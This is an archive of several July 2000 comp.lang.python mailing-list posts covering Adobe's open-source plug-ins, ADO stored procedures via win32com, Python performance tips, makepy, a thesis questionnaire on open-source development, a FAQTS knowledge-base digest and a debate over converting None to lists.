Message-ID: <oo%g5.21$T23.40121@news.pacbell.net>

> While I'll grant that this is a good first step for Adobe, these
> are simply add-ons for proprietary software.  The add-ons are
> often available under moderate licenses.

Thanks for the compliment ... it wasn't exactly easy to convince Adobe
that they should have an open source site. I'm hoping it will grow as time
goes on.

"simply add-ons", it wasn't exactly simple to do these since the APIs are
somewhat Baroque. In fact there is a pretty complete scheme that uses
Python code to produce wrapper C++ code for many of the API calls.
This might be useful for someone who finds SWIGs allowable parameter
types a bit to restrictive.

I said the license is liberal because I'm happy it turned out that way ...
lot
of time with corporate lawyers, etc. I don't really like GPL because IHMO
it isn't liberal ... just replaces one set of restrictions with another.
Please  no
flames on this topic it's been beaten to death.

> Meanwhile, there are existing free software projects that could
> use help.
> ...

I wrote the plug-ins for the Adobe products because I wanted them.

I made them available because some people were interested and I thought
that some others might be as well.

If you want to help Gimp, Sketch, Broadcast 2000, VTK, whatever then ...
go to it!

What really worries me is the wrangling over the Python license ... one of
the
reasons I went for Python in a big way was the non restrictive license.

"Edward Jason Riedy" <ejr at lotus.CS.Berkeley.EDU> wrote in message
news:8m06l3$8s4$1 at agate.berkeley.edu...
> And Grant Munsey writes:
>  - Adobe has opened an open source site at http://opensource.adobe.com.
> [...]
>  - The Adobe Open Source license is reasonably liberal.
>
> While I'll grant that this is a good first step for Adobe, these
> are simply add-ons for proprietary software.  The add-ons are
> often available under moderate licenses.
>
> Meanwhile, there are existing free software projects that could
> use help.
>
> The Gimp + Gimp-Python (instead of Photoshop):
>   http://www.gimp.org/
>   http://www.daa.com.au/~james/pygimp/
>
> Sketch, which is implemented in Python (instead of Illustrator):
>   http://sketch.sourceforge.net/
>
> I'm not familiar with ``After Effects,'' but the description sounds
> like an extension of Broadcast2000:
>   http://heroinewarrior.com/bcast2000.html
> AFAIK, there's no Python associated with that project.  Perhaps there
> should be.  Integration with things like VTk (www.kitware.com) would
> be nice.  VTk has a Python binding, but not a very nice one.
>
> Jason
>




From scorder at incigna.com  Fri Jul  7 09:11:39 2000
From: scorder at incigna.com (Sam)
Date: Fri, 07 Jul 2000 09:11:39 -0400
Subject: Ado stored procs with parameters
References: <nuv8msgvjtmchijlo97b73jrnv8d30usrf@4ax.com>
Message-ID: <43lbmsohe81o718p1db16r4vcceap31ufd@4ax.com>

I feel stupid replying to myself but this is something somebody will
probably run across and now the answer will be in the archives as
well.  

Apparently ADO is stupid when running statements.  The default
statement type is adCmdText.  It looks like in this mode it doesn't
look for any parameters that might have added..  Changing the
CommandType to adCmdStoredProc makes it decide to look if any
parameters were added.  So in this case the line:

cmd.CommandType = constants.adCmdStoredProc 

should be added somewhere before the rs.Open command is executed.  So
is the DB Api any better?  I saw somebody announced a DBAPI for Ado.
Right now I don't have the time to check it out.  Besides if I want to
get Python more accepted where I work I can't expect them to learn
another DB object model on top of a new language.  At least for now.

-Sam

On Thu, 06 Jul 2000 08:47:43 -0400, Sam <> wrote:

>I'm having a bit of trouble using a stored proc on MSSQL that takes
>parameters.  I create a command object and then append the parameters
>to it.  Then I create a recordset object and use the open method
>passing the command object and a few other parameters.  Unfortunately
>I get an error saying that the stored proc requires The same parameter
>that I just added.  Below is the code I'm using.  Any ideas?
>
>Sam Corder
>
>import win32com.client
>constants = win32com.client.constants
>
>class dbcon:
>    def __init__ (self, connect = None):
>        self.connectstr = connect
>    def runSQLReturnRS(self, sql, params = None):
>        if self.connectstr == None:
>            return None
>        else:
>            rs = win32com.client.Dispatch('ADODB.Recordset')
>            cmd = win32com.client.Dispatch('ADODB.Command')
>            cmd.ActiveConnection = self.connectstr
>            cmd.CommandText = sql
>            if params != None:
>                for parm in params:
>                    cmd.Parameters.Append(cmd.CreateParameter(parm[0],
>parm[1], constants.adParamInput, parm[2], parm[3]))
>
>            rs.Open(cmd, CursorType = constants.adOpenForwardOnly,
>LockType = constants.adLockReadOnly)
>            return rs
>                
>    def __AddParams(self, cmd, params):
>        for parm in params:
>            cmd.Parameters.Append(cmd.CreateParameter(parm[0],
>parm[1], constants.adParamInput, parm[2], parm[3]))
>
>if __name__  == '__main__':
>    db = dbcon("Provider=SQLOLEDB;Data Source=s-incigna2k;User
>Id=msl_login;Password=***;Connect Timeout=5;network
>library=dbmssocn;Initial Catalog=msl;")
>    params = ("ExpJobID", constants.adInteger, 4, 11),
>    rs = db.runSQLReturnRS("ExpConfig_Get", params)
>    print rs.Fields.Count
>



From tismer at appliedbiometrics.com  Wed Jul  5 09:52:00 2000
From: tismer at appliedbiometrics.com (Christian Tismer)
Date: Wed, 05 Jul 2000 15:52:00 +0200
Subject: Why is Python so slow ?- revisited.
References: <H_c35.12336$Xx5.574993@bgtnsc06-news.ops.worldnet.att.net> <394D6579.8B2FF840@appliedbiometrics.com> <8tA35.10459$C44.626417@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <39633D80.27B767E4@appliedbiometrics.com>


William Dandreta wrote:
> 
> Hi chris,
> 
> Here is the fastest version of my program.

Ok. I was off for a while and did not follow the thread.

Some hints may give you a little speedup:

Don't work on the global level, but do everything in
functions. This gives you a speedup, since local variables
are optimized and don't involve dictionary lookups.

Further, since you are working on only 6000 lines or so,
you can save quite some time by using readlines(),and
then iterating over that list. But I don't know if Py1.2
has readlines at all.

Here a rough layout, untested of course!

### start of example refactored
#corrects Y2K leapyear error and
#strips off all the " marks

import strop

FINNAME  = 'lu4.txt'
FOUTNAME = 'lu4.new'

def process(finn=FINNAME, foutn=FOUTNAME):
    # caching some funcitons locally:
    strip = strop.strip
    splitfields = strop.splitfields
    atoi = strop.atoi
    joinfields = strop.joinfields
    _map = map
    _tuple = tuple

    lines = open(finn, 'r').readlines()
    fout = open(fount, 'wb)
    write = fout.write

    for line in lines:
        fields = splitfields(joinfields(splitfields(line,'"'),''),',')
        fields[2] = joinfields(splitfields(fields[2],' '),'0')
        fields = _map(strip,fields)
        #convert date to YYYYMMDD format
        if fields[2][-2:] == '00':
            fields[2] = '2000' + fields[2][-10:-8] + fields[2][-7:-5]
        else:
            fields[2] = '19' + fields[2][-2:] + fields[2][-10:-8] +
fields[2][-7:-5]

        #fix date for Y2K leapyear error
        if   fields[2] == '20000301':  fields[2] = '20000229'
        elif fields[2] == '20000401':  fields[2] = '20000331'
        elif '20000301'<fields[2] <'20000501':
            fields[2] = '2000' + fields[2][4:6] + '%02d' %
(atoi(fields[2][6:])-1)

        write('%-16s,%8s,%8s,%10s,%10s,%-11s,%-11s,%-21s,%-51s\r\n' %
_tuple(fields))

if __name__ == '__main__':
    process()  # add cmd line handling here

### end

But I'm not confident whether the speed gain would justify
changing it at all. Well, maybe it is some percentage.

cheers - chris

> ----------------------------------------------------------
> #corrects Y2K leapyear error and
> #strips off all the " marks
> 
> from strop import strip, splitfields,atoi,joinfields
> 
> lu4 = open('lu4.txt','r')
> newlu4 = open('lu4.new','wb')
> 
> while 1:
> #for i in range(6000):
>   line = lu4.readline()
>   if not line: break
>   fields = splitfields(joinfields(splitfields(line,'"'),''),',')
>   fields[2] = joinfields(splitfields(fields[2],' '),'0')
>   fields = map(strip,fields)
> #convert date to YYYYMMDD format
>   if fields[2][-2:] == '00':
>     fields[2] = '2000' + fields[2][-10:-8] + fields[2][-7:-5]
>   else:
>     fields[2] = '19' + fields[2][-2:] + fields[2][-10:-8] + fields[2][-7:-5]
> 
> #fix date for Y2K leapyear error
>   if fields[2] == '20000301':
>     fields[2] = '20000229'
>   elif fields[2] == '20000401':
>     fields[2] = '20000331'
>   elif '20000301'<fields[2] <'20000501':
>     fields[2] = '2000' + fields[2][4:6] + '%02d' % (atoi(fields[2][6:])-1)
> 
>   newlu4.write('%-16s,%8s,%8s,%10s,%10s,%-11s,%-11s,%-21s,%-51s\r\n' %
> tuple(fields))
> ---------------------------------------------------------------------
> Bill
> 
> Christian Tismer wrote in message
> <394D6579.8B2FF840 at appliedbiometrics.com>...
> >Also feel free to send me your source code for inspection.
> 
> --
> http://www.python.org/mailman/listinfo/python-list

-- 
Christian Tismer             :^)   <mailto:tismer at appliedbiometrics.com>
Applied Biometrics GmbH      :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
     where do you want to jump today?   http://www.stackless.com



From brunnsNObrSPAM at beer.com.invalid  Thu Jul  6 03:38:31 2000
From: brunnsNObrSPAM at beer.com.invalid (Simon B)
Date: Thu, 06 Jul 2000 00:38:31 -0700
Subject: Hi, my name is not Mrs so-called Gumblenose
References: <395B2B88.CC3041C1@memo.volvo.se> <1c934748.cd75dee0@usw-ex0106-045.remarq.com> <8jvii30149t@news1.newsguy.com>
Message-ID: <0021d40a.e7b821c9@usw-ex0106-045.remarq.com>

"Alex Martelli" <alex at magenta.com> wrote:
>> If someone were to port JPython to the '400, you would be able
>> to use the AS/400 Toolbox for Java's native DB access APIs,
but
>> that would be a pretty major job in itself.
>
>Why would JPython have to be "ported" at all?  Doesn't it
>"just run" with any common-or-garden Java Virtual Machine?

Pretty much. But I gather that the AS/400 implementation of the
JVM has a few, uh, features. Also, you'd have to wrap the AS/400
Toolbox for Java, or it wouldn't be worth doing in the first
place.


Cheers,
Simon B.
With Microsoft, failure is not an option. It comes bundled.


-----------------------------------------------------------

Got questions?  Get answers over the phone at Keen.com.
Up to 100 minutes free!
http://www.keen.com



From dale at out-think.NOSPAM.co.uk  Sun Jul  9 11:55:52 2000
From: dale at out-think.NOSPAM.co.uk (Dale Strickland-Clark)
Date: Sun, 9 Jul 2000 16:55:52 +0100
Subject: How to use makepy?
References: <8k9o91$7b1$1@supernews.com> <4p%95.10247$A06.1298430@pouncer.easynews.com>
Message-ID: <8ka7cd$c3$1@supernews.com>

Thanks for all replies. I've now read the chapter in Python Programming on
Win32 and am somewhat the wiser.

However, I am confused as to why it seems to break this very simple program
after running Makepy on "Microsoft ActiveX Data Objects 2.5 Library".

At the print statemtent, I get this:

    print DBRec(0).Value
TypeError: too many arguments; expected 1, got 2

Where did it get 2 from?

------------------------
import win32com.client

DBCon = win32com.client.Dispatch("ADODB.Connection")
DBRec = win32com.client.Dispatch("ADODB.Recordset")
DBRec.CursorLocation = 3  # adUseClient = 3

sDB = "s:\\ths\\merlin.mdb"

DBCon.Open("Driver={Microsoft Access Driver (*.MDB)}; DBQ=" + sDB)
#DBRec.open("House", DBCon, adOpenStatic, adLockOptimistic, adCmdTable)
DBRec.Open("House", DBCon, 3, 3, 2)

DBRec.AddNew()
DBRec.Fields("Price").Value = 234000
DBRec.Update()
print DBRec(0).Value

DBRec = None
DBCon = None
----------------------------

Thanks for any help

Dale Strickland-Clark


"Roger Upole" <rupole at compaq.net> wrote in message
news:4p%95.10247$A06.1298430 at pouncer.easynews.com...
> It should speed up your COM calls.  Also, you can browse thru the
> generated file and see all the properties and methods of the COM
> object.
> Once the object has been created, the constants will be available as
> win32com.client.constants.someconstantname.
> There is a Readme.html in the /win32com directory, and more documentation
in
>   /win32com/HTML/QuickStartClientCom.html.
>              HTH
>                  Roger Upole
>
> "News.tele2.co.uk" <dale at out-think.NOSPAM.co.uk> wrote in message
> news:8k9o91$7b1$1 at supernews.com...
> > Well I've run it and it seemed to work but I'm not really sure what to
do
> > next.
> >
> > In fact, I'm not entirely sure what it's supposed to do for me but I'm
> > hoping it will at least give me access to some COM object constants.
> >
> > Where is it documented?
> >
> > Thanks
> >
> > Dale Strickland-Clark
> >
> >
> >
> >
>
>




From query at mhk.lu.se  Fri Jul  7 09:16:35 2000
From: query at mhk.lu.se (Peder Schmidt & Rickard Nordström)
Date: Fri, 07 Jul 2000 13:16:35 GMT
Subject: OFF TOPIC: Questions about Open Source Development.
Message-ID: <398dd828.5186868@news.lu.se>

Hello!

We are two students writing our master thesis about open source
software. First we want to describe what open source development is
and how it works. Secondly, we want to compare the open source model
of developing software to traditional project groups working in
accordance to a life-cycle model. Your help would be greatly
appreciated! Our focus lies on business critical systems, so most of
the questions will reflect this.

Your name and e-mail will remain confidential!

Please send your answers to:
query at mhk.lu.se


Thank you in advance!


July 2000
Peder Schmidt and Rickard Nordstr?m


----------------------------------------------------
----------------------------------------------------


BACKGROUND QUESTIONS
--------------------


- Age?


- Gender?


- What is your profession?


- What kind of tasks do you perform at your job?


- What is your programming experience (if any)?


- How much time do you spend on open source development (if any)?


----------------------------------------------------
----------------------------------------------------


QUALITY FACTORS, RATED
----------------------------------------


The scale used is 1 to 5. 
1 means strong favour to opensource development methodology.
2 means favoring open source.
3 means equally good.
4 means favoring traditional development.
5 means strong favour to traditional project groups working in
accordance to a life-cycle model. 

We would be grateful if you commented upon your choice.



- Which development process provides the best environment for uniform
design? (For example code consistency and implementation techniques)
Rating (1-5):


- Which development process provides the best traceability?
(For example cross-referencing functions in the software to specific
pieces of code)
Rating (1-5):


- Which development process gives the best support for writing
software with the required precision in calculations and software
output? (For example efficient or correct algorithms)
Rating (1-5):


- Which development process support construction of "robust" software
best? (Continuity of operation under non-nominal conditions)
Rating (1-5):


- Which development process support implementation of functions in the
most understandable manner best? (For example self-explanatory
variable names and comments in the code. Usually avoidance of
practices which increase complexity)
Rating (1-5):


- Which development process best prevents the existence of trapdoors
and trojan horses in the software?
Rating (1-5):


- Which development process provides the best environment for 
construction of software resistant to Denial of service attacks?
Rating (1-5):


----------------------------------------------------
----------------------------------------------------


QUALITY FACTORS, DESCRIPTIVE
----------------------------------------------


- How is open source software tested, except for peer-reviews? Are
there any formal methods?


- In case you have experience in professional development of software
how do you test the software 
in that environment?


- If you have developed open source software, did you use any existing
source code from other projects?


- If your answer to the question above was yes, did you feel that the
code was usable "as is" and comprehensive or did you have to modify it
to suit your needs?


- If you have experience in professional development of software, did
you use any existing source code from other projects?


- If your answer to the question above was yes, did you feel that the
code was usable "as is" and comprehensive or did you have to modify it
to suit your needs?


----------------------------------------------------
----------------------------------------------------


THE OPEN SOURCE DEVELOPMENT PROCESS
-----------------------------------


- Describe the different phases an open source project passes through.
What happens in each specific phase?


- What documents are usually generated (if any) during the open source
development process?


- When do you consider an open source project to be "mature"? (if your
answer is never - then please explain this)




Thank you for filling out this questionnaire!

Please send your answers to
query at mhk.lu.se



From fiona at sitegnome.com.bbs  Thu Jul 13 17:40:02 2000
From: fiona at sitegnome.com.bbs (fiona at sitegnome.com.bbs)
Date: 13 Jul 2000 21:40:02 GMT
Subject: [FAQTS] Python Knowledge Base Update -- July 13th, 2000
Message-ID: <3bOKH2$n80@openbazaar.net>

Hi guys,

I'm a little confused :-) yesterday I'm pretty sure I sent out a summary
to the list, it doesn't seem to have made it though so this is a second
attempt.  Apologies if it makes it twice now.

So, what's been entered into http://python.faqts.com:

- How can you check on the status of a file's "archive" bit, on DOS-type
platforms
- What Python code can I use to find all the network ports that are in
use on a server?
- Can I use python to access web (eg.yahoo) email account?
- Is there any way to find the mount point of a filesystem given the
path to a file within the file system?
- How can I create a wxBitmap image from a Python Imaging Library (PIL)
image?
- How can I compare two strings in a case-insensitive way?
- What is wxPython? How does it compare with Tkinter?
- Bidirectional communication through pipes: read/write popen()

cheers, Fiona


## Unanswered Questions ########################################


-------------------------------------------------------------
How can you check on the status of a file's "archive" bit, on DOS-type platforms
http://www.faqts.com/knowledge-base/view.phtml/aid/4706
-------------------------------------------------------------
Barry Pederson



## New Entries #################################################


-------------------------------------------------------------
What Python code can I use to find all the network ports that are in use on a server?
http://www.faqts.com/knowledge-base/view.phtml/aid/4684
-------------------------------------------------------------
Fiona Czuczman
Aaron Berg

to figure out what ports are used on a server you could use netstat -a
-n

import os
popen("netstat -a -n")


-------------------------------------------------------------
Can I use python to access web (eg.yahoo) email account?
http://www.faqts.com/knowledge-base/view.phtml/aid/4685
-------------------------------------------------------------
Fiona Czuczman
Steve Purcell

For web mail accounts that have POP access, such as Yahoo, check out
the 'poplib' standard library module:

  http://www.python.org/doc/current/lib/pop3-example.html


-------------------------------------------------------------
Is there any way to find the mount point of a filesystem given the path to a file within the file system?
http://www.faqts.com/knowledge-base/view.phtml/aid/4686
-------------------------------------------------------------
Fiona Czuczman
John Clonts

I didn't find anything already extant, so here's this:

def mountpoint(s):
    import os
    if (os.path.ismount(s) or len(s)==0): return s
    else: return mountpoint(os.path.split(s)[0])

def testit():
    print mountpoint("/home/john/scheme/cmucl")
    print mountpoint("/usr/local")
    print mountpoint("/lib/")
    print mountpoint("lib")


-------------------------------------------------------------
How can I create a wxBitmap image from a Python Imaging Library (PIL) image?
http://www.faqts.com/knowledge-base/view.phtml/aid/4687
-------------------------------------------------------------
Fiona Czuczman
Greg Landrum

Here's some sample code:
def PilImgToWxBmp(pilImg):
  wxImg = wxEmptyImage(pilImg.size[0],pilImg.size[1])
  wxImg.SetData(pilImg.tostring())
  bmp = wxImg.ConvertToBitmap()
  return bmp


-------------------------------------------------------------
How can I compare two strings in a case-insensitive way?
http://www.faqts.com/knowledge-base/view.phtml/aid/4688
-------------------------------------------------------------
Fiona Czuczman
Bjorn Pettersen

import string

if string.lower("FOO") == string.lower("Foo"):
   <do something useful>


## Edited Entries ##############################################


-------------------------------------------------------------
What is wxPython? How does it compare with Tkinter?
http://www.faqts.com/knowledge-base/view.phtml/aid/3565
-------------------------------------------------------------
Fiona Czuczman, Olivier Dagenais
Shae Erisson

wxPython [ http://www.wxpython.org ] is a set of Python bindings for
the GUI toolkit wxWindows [ http://www.wxwindows.org ], that was
written as a C++ library to provide a platform-independant way of
implementing rich and fast user interfaces.

I chose wxPython over Tkinter (for my projects) because:
- wxWindows seems to have more widgets than Tk
- special widgets (like the TreeView) are implemented using the
operating system's native implementations, not complete re-writes
- it's more than a "lowest common denominator" among platforms,
wxWindows seeks to provide the same, advanced functionality on all
platforms, even if it means they have to write a lot of code to
complement a platform's native component
- wxWindows seems to cover more ground, in terms of functionality (it's
more than a GUI toolkit, it also seeks to provide functions/classes for
files, threads, printing, clipboard, networking, ODBC, etc...)
- I was *really* impressed with the wxPython demo


-------------------------------------------------------------
Bidirectional communication through pipes: read/write popen()
http://www.faqts.com/knowledge-base/view.phtml/aid/4448
-------------------------------------------------------------
Nathan Wallace, Fiona Czuczman
Hans Nowak, Snippet 259, Hrvoje Niksic

"""
Packages: files;miscellaneous
"""

'''
In all kinds of circumstances it would be very useful to call an
external filter to process some data, and read the results back in.
What I needed was something like popen(), only working for both
reading and writing.  However, such a thing is hard to write in a
simple-minded fashion because of deadlocks that occur when handling
more than several bytes of data.  Deadlocks can either be caused by
both programs waiting for not-yet-generated input, or (in my case) by
both their writes being blocked waiting for the other to read.

The usual choices are to:

a) Write a deadlock-free communication protocol and use it on both
   ends.  This is rarely a good solution, because the program that
   needs to be invoked is in most cases an external filter that knows
   nothing about our deadlock problems.

b) Use PTY's instead of pipes.  Many programmers prefer to avoid this
   path because of the added system resources that the PTY's require,
   and because of the increased complexity.

Given these choices, most people opt to use a temporary file and get
it over with.

However, discussing this problem with a colleague, he thought of a
third solution: break the circularity by using a process only for
reading and writing.  This can be done whenever reading and writing
are independent, i.e. when the data read from the subprocess does not
influence future writes to it.

The function below implements that idea.  Usage is something like:

rwpopen("""Some long string here...""", "sed", ["s/long/short/"])
  -> 'Some short string here...'

I've put the function to good use in a program I'm writing.  In
addition to getting rid of temporary files, the whole operation timed
faster than using a tmpfile (that was on a single-CPU machine).  The
function will, of course, work only under Unix and its lookalikes.
Additional information is embedded in the docstring and the comments.

I'd like to hear feedback.  Do other people find such a thing useful?
Is there a fundamental flaw or a possibility of a deadlock that I'm
missing?
'''

def rwpopen(input, command, args=[]):
    """Execute command with args, pipe input into it, and read it back.
    Return the result read from the command.

    Normally, when a process tries to write to a child process and
    read back its output, a deadlock condition can occur easily,
    either by both processes waiting for not-yet-generated input, or
    by both their writes() being blocked waiting for the other to
    read.

    This function prevents deadlocks by using separate processes for
    reading and writing, at the expense of an additional fork().  That
    way the process that writes to an exec'ed command and the process
    that reads from the command are fully independent, and no deadlock
    can occur.  The child process exits immediately after writing.

    More precisely: the current process (A) forks off a process B,
    which in turns forks off a process C.  While C does the usual
    dup,close,exec thing, B merely writes the data to the pipe and
    exits.  Independently of B, A reads C's response.  A deadlock
    cannot occur because A and B are independent of each other -- even
    if B's write() is stopped because it filled up the pipe buffer, A
    will happily keep reading C's output, and B's write() will be
    resumed shortly.
    """
    # XXX Redo this as a class, with overridable methods for reading
    # and writing.
    #
    # XXX Provide error-checking and propagating exceptions from child
    # to parent.  This would require either wait()ing on the child
    # (which is a bag of worms), or opening another pipe for
    # transmitting error messages or serialized exception objects.
    #
    # XXX This function expects the system to wait for the child upon
    # receiving SIGCHLD.  This should be the case on most systems as
    # long as SIGCHLD is handled by SIG_DFL.  If this is not the case,
    # zombies will remain.

    def safe_traceback():
        # Child processes catch exceptions so that they can exit using
        # os._exit() without fanfare.  They use this function to print
        # the traceback to stderr before dying.
        import traceback
        sys.stderr.write("Error in child process, pid %d.\n" %
                         os.getpid())
        sys.stderr.flush()
        traceback.print_exc()
        sys.stderr.flush()

    # It would be nice if Python provided a way to see if pipes are
    # bidirectional.  In that case, we could open only one pipe
    # instead of two, with p_readfd == p_writefd and c_readfd ==
    # c_writefd.
    p_readfd, c_writefd = os.pipe()
    c_readfd, p_writefd = os.pipe()
    if os.fork():
        # Parent
        for fd in (c_readfd, c_writefd, p_writefd):
            os.close(fd)
        # Convert the pipe fd to a file object, so we can use its
        # read() method to read all data.
        fp = os.fdopen(p_readfd, 'r')
        result = fp.read()
        fp.close()                      # Will close p_readfd.
        return result
    else:
        # Child
        try:
            if os.fork():
                # Still the same child
                os.write(p_writefd, input)
            else:
                # Grandchild
                try:
                    # Redirect the pipe to stdin.
                    os.close(0)
                    os.dup(c_readfd)
                    # Redirect stdout to the pipe.
                    os.close(1)
                    os.dup(c_writefd)
                    # Now close unneeded descriptors.
                    for fd in (c_readfd, c_writefd, p_readfd, p_writefd):
                        os.close(fd)
                    # Finally, execute the external command.
                    os.execvp(command, [command] + args)
                except:
                    safe_traceback()
                    os._exit(127)
        except:
            safe_traceback()
            os._exit(127)
        else:
            os._exit(0)


From nobody at nowhere.nohow  Sun Jul 30 12:28:46 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sun, 30 Jul 2000 16:28:46 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com> <ogk4oso77hu55jepdvssdj7od4s1j481rh@4ax.com> <slrn8o6o57.f91.grey@teleute.rpglink.com> <8lvovs1dj1@news2.newsguy.com> <slrn8o75fq.fjt.grey@teleute.rpglink.com> <8m1evi12n4o@news2.newsguy.com>
Message-ID: <2JYg5.2853$6E.754619@ptah.visi.com>

On Sun, 30 Jul 2000 11:41:15 +0200, Alex Martelli <alex at magenta.com> wrote:

>> 1
>>
>> What comes next?
>
>Now THAT is a poser.  In Europe at least, for example, if you're looking
>for a house you know that what's likely to come next is 3, then 5, etc;
>odd-numbered addresses are on one side of the road, even-numbered ones
>on the other (two separate sequences).

It's the same in most places in the US also.  The size of the
"jumps" is often larger.  In most places numbers go up 100 per
"block" (where a block is the distance from one street corner
to the next).  Since there are maybe 10-20 houses per block,
numbers tend to go up by larger increments.

-- 
Grant Edwards                   grante             Yow!  Now I understand the
                                  at               meaning of "THE MOD SQUAD"!
                               visi.com            


From grey at despair.rpglink.com  Thu Jul 27 11:43:09 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Thu, 27 Jul 2000 15:43:09 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com> <cp3dkwl2ia.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <slrn8o0m0c.qhk.grey@teleute.rpglink.com>

On Thu, 27 Jul 2000 01:40:25 GMT, Guido van Rossum <guido at python.org> wrote:
>new license more liberal than I would have been able to negotiate on
>my own if I were still a CNRI employee.

    *mutters something about lawyers, marketing people and a tank full of
sharks.*

    Heh, ok, thanks for the answer.  :)

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From aahz at netcom.com  Mon Jul 17 19:18:09 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 17 Jul 2000 23:18:09 GMT
Subject: OT: RedHat 6.1 (was Re: newbie unimpressed...)
References: <8kvp81$9q1$1@nnrp1.deja.com> <8kvqqb$8e5$1@nntp9.atl.mindspring.net> <unKc5.1423$6E.266474@ptah.visi.com>
Message-ID: <8l047h$6ag$1@slb6.atl.mindspring.net>

In article <unKc5.1423$6E.266474 at ptah.visi.com>,
Grant Edwards <ge at nowhere.none> wrote:
>In article <8kvqqb$8e5$1 at nntp9.atl.mindspring.net>, Aahz Maruch wrote:
>>In article <8kvp81$9q1$1 at nnrp1.deja.com>,  <sharkey3 at my-deja.com> wrote:
>>>
>>>(I'm using python 1.5.1 on Redhat 5.2)
>>
>>I strongly recommend upgrading to Python 1.5.2.  The documentation is
>>much better, for starters.
>
>FWIW, RH 5.2 is getting a bit old also.  I couldn't recommand
>6.[01], but 6.2 seems to be decent.

What's wrong with 6.1?  (We upgraded a few months back, mainly to get
1.5.2, and I'd like to know if there's a serious reason we should move
to 6.2.)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From quango at watervalley.net  Fri Jul 28 00:42:17 2000
From: quango at watervalley.net (Chris Lawrence)
Date: Fri, 28 Jul 2000 04:42:17 GMT
Subject: Perl is worse! (was: Python is Wierd!) 
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com>
Message-ID: <Ja8g5.18900$ga2.508345@newsread2.prod.itd.earthlink.net>

On Fri, 28 Jul 2000 03:29:06 GMT, Steve Lamb <grey at despair.rpglink.com> wrote:
>    None could be converted into an empty list.  None is nothing.  I fail to
>see how you can't populate a list with a single nothing.

Reasonable enough.  Though you're not populating a list with a single
nothing; you're making an empty list.  OTOH, by the logic below, why
not [None] instead of []?

>    1 is a single value.  I fail to see why that cannot be converted to [1]
>which is allowed, btw. 
>a = [1]
>a
>
>    123 is a single value.  I fail to see why that cannot be converted to
>[123] which, again, is allowed.  See above.

Not sure about these.  If you want a one-element list, say so.  x =
[1] is concise.  x = list(1) ain't.  If [] offends your sensibilities,
try x = list(1,).

>    "abc" could either be a single value or a sequence.  It is converted as
>["a", "b", "c"].  Of course, the same /could/ be said for the above.  However,
>let's play around with this one since it is the only one that works somewhat
>as expected in conversion.

"abc" is a string.  Strings are immutable sequences in Python.
list((1,2,3)) = [1,2,3].  Same principle.

>a = "abc"
>a
>a = list(a)
>a = str(a)
>a
>
>    a is now "['a', 'b', 'c']".  Which means we split a string up when
>converting to list but don't concatinate on the way back.  I'd think, then,
>that we'd not split the string up in the first place and consider it a single
>value for a single entry in a list.  IE, ["abc"].  But, of course, dropping
>back from a list to a str isn't perfect since you're going from a more complex
>structure into a simple data set.

How does Python know you want "['a','b','c']" instead of "['abc']"?
(And wouldn't you *really* expect "abc"?)  It can't.  But logic
suggests that ['aa', 'b', 'c'] isn't the same thing as ['a', 'a', 'b',
'c'], yet your representation would say they are the same.

This strikes me as type-based magic, which Python tries to avoid.

>    How did I run across this?  Because I wanted to create an empty name each
>time a class instance is created.  Since I was building the class I didn't
>know if I was going to use a list or a str.  I figure I could just set it
>to None and then manipulate it later.  Nope.  Couldn't even convert it even
>though the conversion seems quite straightforward to me.  None into any
>structure should yield and empty of that structure.  We can have empty
>strings, tuples, lists and directories.  Funny thing, though.  I can do this
>and it works just fine:

Huh?  Python is a strongly typed language.  None is an instance (the
sole instance, natch) of a NoneType variable.  Should NoneType things
transmute themselves into other types of things at the drop of a hat?
This sounds fishily like Perlish automagic conversion.

>    However, if we want to create the namespace with nothing we cannot because
>we cannot convert it for later use.  Thus, we are back to declaring variables
>except this time we're doing it with automagical (implicit) means instead of
>explicit.  

Sure you can.

x = None
...
for y in range(10):
  if x is not None:
     x = x + y
  else:
     x = y

Which begs the question: why would you want to declare a variable
without knowing what you're going to stick in it?

(Incidentally, you're not creating a namespace, you're making an entry
in a particular namespace...)

>    I just don't understand how people can advocate for types and the
>restrictions they impose while, on the other hand, embracing a language that
>is free enough to shoot yourself in the foot by reassigning None.

Hmm, works in JPython too.  And Python 2.0b1.  Maybe it's a feature ;-)

Frankly, I don't know how you'd get None back.  And it will play havoc
with things:

None = 1
if None:
  print 'Hello'

I suspect Guido will tell you, "don't do that." ;-)


Chris
-- 
=============================================================================
|       Chris Lawrence       |   Your source for almost nothing of value:   |
|  <quango at watervalley.net>  |           http://www.lordsutch.com/          |
|                            |                                              |
|      Debian Developer      |      This address has been spam-proofed.     |
|   http://www.debian.org/   |       All spam goes to your postmaster.      |
=============================================================================


From moshez at math.huji.ac.il  Tue Jul 18 02:35:34 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Tue, 18 Jul 2000 09:35:34 +0300 (IDT)
Subject: nis module error
In-Reply-To: <39736BCB.626BD669@hpbs1711.boi.hp.com>
Message-ID: <Pine.GSO.4.10.10007180934450.11187-100000@sundial>

